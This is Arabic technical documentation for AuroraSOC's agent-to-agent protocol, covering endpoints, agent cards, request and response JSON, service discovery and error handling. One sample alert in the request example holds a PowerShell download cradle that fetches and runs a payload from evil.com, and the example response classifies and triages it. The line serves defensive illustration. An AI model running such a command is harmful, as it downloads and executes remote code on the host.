بروتوكول A2A
يُعد بروتوكول الوكيل إلى الوكيل (Agent-to-Agent - A2A) معيار الاتصال الذي يستخدمه وكلاء AuroraSOC للتفاعل مع بعضهم البعض. يعمل كل وكيل كخادم HTTP مستقل، ويحدد البروتوكول كيفية توجيه وإرسال المهام وإرجاع النتائج.
نظرة عامة على البروتوكول (Protocol Overview)
نقاط النهاية (Endpoints)
يعرض كل خادم وكيل A2A النقاط التالية:
| نقطة النهاية (Endpoint) | الطريقة (Method) | الوصف (Description) |
|---|---|---|
/task | POST | إرسال وتقديم مهمة للمعالجة |
/health | GET | فحص الصحة (200 في حالة العمل) |
/.well-known/agent.json | GET | بطاقة الوكيل (القدرات، العلامات) |
بطاقة الوكيل (Agent Card)
تُعلن وتُظهر بطاقة الوكيل القدرات والإمكانيات المتاحة للوكيل:
{
"name": "security_analyst",
"description": "AI-powered security alert triage and analysis",
"url": "http://agent-security-analyst:9001",
"tags": ["security", "triage", "analysis", "siem"],
"capabilities": {
"tools": ["SearchLogs", "CorrelateEvents", "ExtractIOC", "MitreMap"],
"memory": "tiered",
"streaming": false
}
}
تنسيق وهيكل الطلب (Request Format)
{
"task": "Triage alert ALT-2024-001: Suspicious PowerShell execution",
"context": {
"alert_id": "ALT-2024-001",
"source": "Wazuh",
"severity": "HIGH",
"raw_event": {
"timestamp": "2024-01-15T12:03:15Z",
"process": "powershell.exe",
"command": "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload')",
"user": "john.doe",
"host": "workstation-0042"
}
},
"thread_id": "inv-001",
"metadata": {
"requester": "orchestrator",
"priority": "high"
}
}
تنسيق وهيكل الاستجابة (Response Format)
{
"result": "Alert ALT-2024-001 classified as HIGH severity. PowerShell download cradle detected matching MITRE T1059.001. IOCs extracted: evil.com, associated with Cobalt Strike C2 infrastructure.",
"confidence": 0.92,
"severity": "HIGH",
"mitre_techniques": ["T1059.001", "T1105"],
"iocs": [
{"type": "domain", "value": "evil.com"},
{"type": "hash", "value": "abc123..."}
],
"recommendations": [
"Isolate workstation-0042",
"Block evil.com at proxy",
"Check other hosts for similar PowerShell patterns"
],
"thread_id": "inv-001"
}
أنماط اكتشاف الخدمة (Service Discovery Modes)
يقوم AuroraSOC بحل أسماء مضيف A2A أثناء التشغيل عبر A2ASettings.get_agent_url():
A2A_DISCOVERY_MODE=composeيستخدمagent-<agent-name>A2A_DISCOVERY_MODE=k8sيستخدمagent-<agent-name>-svc
التجاوزات الاختيارية:
A2A_CLIENT_HOSTلفرض مضيف واحد لجميع الوكلاءA2A_<AGENT_NAME>_HOSTلتجاوز مضيف وكيل محدد
أمثلة:
# الوضع الافتراضي في Docker Compose
A2A_DISCOVERY_MODE=compose
# SecurityAnalyst -> http://agent-security-analyst:9001
# تسمية خدمات Kubernetes
A2A_DISCOVERY_MODE=k8s
# SecurityAnalyst -> http://agent-security-analyst-svc:9001
فحص الاتصال عند بدء API
أثناء بدء API، يقوم AuroraSOC بفحص GET /health لجميع وكلاء A2A المكوّنين:
- استجابات 2xx/4xx تُسجل كاتصال متاح
- استجابات 5xx تُسجل كتحذيرات
- أخطاء الشبكة/المهلة الزمنية تُسجل كتحذيرات
- لا يفشل بدء التشغيل بسبب الفحص (وضع degraded بتحذيرات فقط)
إدارة المحادثة والسياق (Thread Management)
يدعم بروتوكول A2A المحادثات متعددة الأدوار (multi-turn conversations) عبر thread_id:
يقوم LRUMemoryManager بتخزين حالة المحادثة المرتبطة بمفتاح thread_id، مما يسمح بأسئلة المتابعة ضمن نفس سياق التحقيق.
طوبولوجيا النشر (Deployment Topology)
كل وكيل هو حاوية/عملية منفصلة ومستقلة:
- توسع مستقل (تشغيل 3 وكلاء Security Analysts للأحجام العالية)
- تحديثات مستقلة (تحديث وكيل Malware Analyst دون إعادة تشغيل الوكلاء الآخرين)
- عزل الأخطاء (تعطل وكيل واحد لا يؤثر على الآخرين)
معالجة الأخطاء (Error Handling)
| حالة HTTP (HTTP Status) | المعنى (Meaning) | إجراء العميل (Client Action) |
|---|---|---|
| 200 | تم إنجاز المهمة بنجاح | معالجة النتيجة |
| 400 | طلب غير صالح (إدخال غير صالح) | إصلاح وتصحيح تنسيق الطلب |
| 408 | انتهاء مهلة الطلب (المهمة طويلة جداً) | إعادة المحاولة باستخدام مهمة أبسط |
| 500 | خطأ داخلي في الخادم | إعادة المحاولة بعد مهلة التراجع (backoff) |
| 503 | الوكيل محمل بالأعباء (Overloaded) | التراجع، تشغيل قاطع الدائرة |
خصائص الأداء (Performance Characteristics)
| المقياس (Metric) | القيمة النموذجية (Typical Value) |
|---|---|
| عبء الطلب (Request overhead) | ~2ms (HTTP + تسلسل JSON) |
| وقت تفكير الوكيل | 2-15 ثانية (يعتمد على LLM وعدد الأدوات) |
| عتبة فتح قاطع الدائرة | 5 إخفاقات متتالية |
| مهلة استرداد قاطع الدائرة | 60 ثانية |
| البقاء على قيد الحياة لتجمع الاتصال | حتى إيقاف العملية |
| أقصى عدد من الاتصالات المتزامنة | غير محدود (غير متزامن) |